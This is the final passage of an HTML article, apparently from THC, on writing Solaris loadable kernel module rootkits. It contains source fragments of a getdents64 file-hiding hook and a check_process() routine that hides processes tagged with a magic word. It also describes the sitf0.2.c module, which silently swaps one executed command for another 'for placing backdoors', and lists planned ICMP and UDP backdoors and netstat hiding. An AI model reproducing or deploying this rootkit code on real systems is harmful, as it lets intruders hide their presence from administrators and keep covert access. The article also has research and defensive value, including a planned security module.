905 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
906 if (i != 0)</tt>
907 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
908 memmove(buf3, (char *) buf3 + buf3->d_reclen, i);</tt>
909 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
910 else</tt>
911 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
912 buf3->d_off = 1024;</tt>
913 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
914 ret -= reclen;</tt>
915 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
916 }</tt>
917 <p>[...]</blockquote>
918 Now let's take a look at the <tt>check_for_process()</tt> function. In
919 the following code I use a small function called <tt>sitf_isdigit()</tt>
920 and <tt>sitf_atoi()</tt>, you should easily guess what these function do.
921 In this content it tells us if the file is maybe inside the proc and represents
922 a pid. The <tt>check_process()</tt> call implements the mechanism described
923 above:
924 <br>&nbsp;
925 <blockquote><tt>int check_for_process(char *filename)</tt>
926 <br><tt>{</tt>
927 <br><tt>&nbsp;&nbsp;&nbsp; if (sitf_isdigit(filename) &amp;&amp; check_process(sitf_atoi(filename)))</tt>
928 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return TRUE;</tt>
929 <br><tt>&nbsp;&nbsp;&nbsp; else</tt>
930 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return FALSE;</tt>
931 <br><tt>}</tt>
932 <p><tt>int check_process(pid_t pid)</tt>
933 <br><tt>{</tt>
934 <br><tt>&nbsp;&nbsp;&nbsp; proc_t *proc;</tt>
935 <br><tt>&nbsp;&nbsp;&nbsp; char *psargs;</tt>
936 <br><tt>&nbsp;&nbsp;&nbsp; int ret;</tt>
937 <p><tt>&nbsp;&nbsp;&nbsp; proc = (proc_t *) prfind(pid);</tt>
938 <br><tt>&nbsp;&nbsp;&nbsp; psargs = (char *) kmem_alloc(PSARGSZ, KM_SLEEP);&nbsp;</tt>
939 <br><tt>&nbsp;&nbsp;&nbsp; if (proc != NULL)</tt>
940 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*</tt>
941 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * PTOU(proc)->u_psargs
942 is inside the kernel memory, no special</tt>
943 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * copy methods
944 are needed.</tt>
945 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */&nbsp;</tt>
946 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memcpy(psargs, PTOU(proc)->u_psargs,
947 PSARGSZ);</tt>
948 <br><tt>&nbsp;&nbsp;&nbsp; else&nbsp;</tt>
949 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return FALSE;</tt>
950 <p><tt>&nbsp;&nbsp;&nbsp; if (strstr(psargs, (char *) &amp;magic) != NULL)</tt>
951 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret = TRUE;</tt>
952 <br><tt>&nbsp;&nbsp;&nbsp; else&nbsp;</tt>
953 <br><tt>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret = FALSE;</tt>
954 <br><tt>&nbsp;&nbsp;&nbsp; kmem_free(psargs, PSARGSZ);</tt>
955 <br><tt>&nbsp;&nbsp;&nbsp; return ret;</tt>
956 <br><tt>}</tt></blockquote>
957 </blockquote>
958 <font size=+1>--->&nbsp;&nbsp; Module: sitf0.2.c</font>
959 <blockquote>The sitf0.2.c (Solaris Integrated Trojan Facility) implements
960 the features described in 5.5 and 5.6, it is configured as the sitf0.1
961 module and includes the following 2 defintions:
962 <blockquote><tt>#define OLDCMD&nbsp; "/bin/who"</tt>
963 <br><tt>#define NEWCMD&nbsp; "/usr/openwin/bin/xview/xcalc"</tt></blockquote>
964 If the file <tt>OLDCMD</tt> is executed the <tt>NEWCMD</tt> will be executed
965 instead, this is a usefull feature for placing backdoors in hidden directories.&nbsp;</blockquote>
966
967 <hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
968 <br>&nbsp;
969 <p><font size=+1>6&nbsp; Future plans</font>
970 <ul>If you read the article carefully, you may have found a lot of things
971 to be fixed in future releases, here is a brief summary of my ideas and
972 plans for the next version - including fixes and improvements:
973 <ul>- Proper implementation of allocating user memory
974 <br>- Bugfree version of the <tt>getdents64()</tt> file hiding mechanism
975 allowing files to contain the magic word more than once.
976 <br>- Proper hiding of the module by backdooring the ksyms module
977 <br>- ICMP backdoor executing programs realized backdooring the icmp module
978 <br>- Hiding connections from netstat
979 <br>- UDP based telnet access via the udp module (damn, this is hard stuff.
980 Idea by Escher)
981 <br>- A module version for Solaris 2.5 (Sparc) and 2.6 (Sparc/x86)</ul>
982 As a result of this article I also plan to write a security module for
983 Solairs 2.7 (Sparc/x86) including the following features:
984 <ul>- Protected module loading and unloading
985 <br>- Limited process listings for users
986 <br>- Symlink checks in writable directories
987 <br>- Kernel based packet sniffing
988 <br>- Exploited overflow notification</ul>
989 </ul>
990
991 <hr ALIGN=LEFT SIZE=1 NOSHADE WIDTH="100%">
992 <br>&nbsp;
993 <p><font size=+1>7&nbsp;&nbsp; Closing words</font>
994 <blockquote>I thank the following people that helped creating this article:
995 <blockquote>- Wilkins&nbsp; ... for all his help, betatesting and ideas
996 <br>- Pragmatic ... for his articles and support at the CCCamp
997 <br>- Acpizer ... for all his knowledge and help with the modules
998 <br>- Escher ... for his Solaris 2.5 support and corrections
999 <br>- Horizon ... for his Ultra Sparc port and his help
1000 <br>- Knie ... godfather of OpenBSD
1001 <br>- Plaguez ... for his great itf.c Linux module (written in '97)
1002 <br>- Ekonroth from the church of shambler ... for mental support&nbsp;
1003 <br>- All people in my favorite IRC channel</blockquote>
1004 I would also like to thank my girlfriend who spent a lot of time with me
1005 talking about Solaris' kernel-architecture.
1006 <p>If you have ideas, critisism or further questions, please contact me
1007 at <a href="mailto:plasmoid@pimmel.com">plasmoid@pimmel.com</a>. I am thankful
1008 for improving suggestions. Just don't forget this article is not designed
1009 for script kiddies, intrusion is illegal and I don't have the ambition
1010 to help you hacking into some lame provider systems.&nbsp;
1011 <br>If you read this far, you might also be interested in one of the other
1012 THC articles or magazines at <a href="http://www.thc.org">http://www.thc.org/</a>.</blockquote>
1013
1014 <blockquote>have fun,
1015 <br>Plasmoid / THC
1016 <br>&nbsp;
1017 <br>&nbsp;
1018 <blockquote>&nbsp;</blockquote>
1019 </blockquote>
1020 </td>
1021 </tr>
1022 </table></center>
1023
1024 </body>
1025 </html>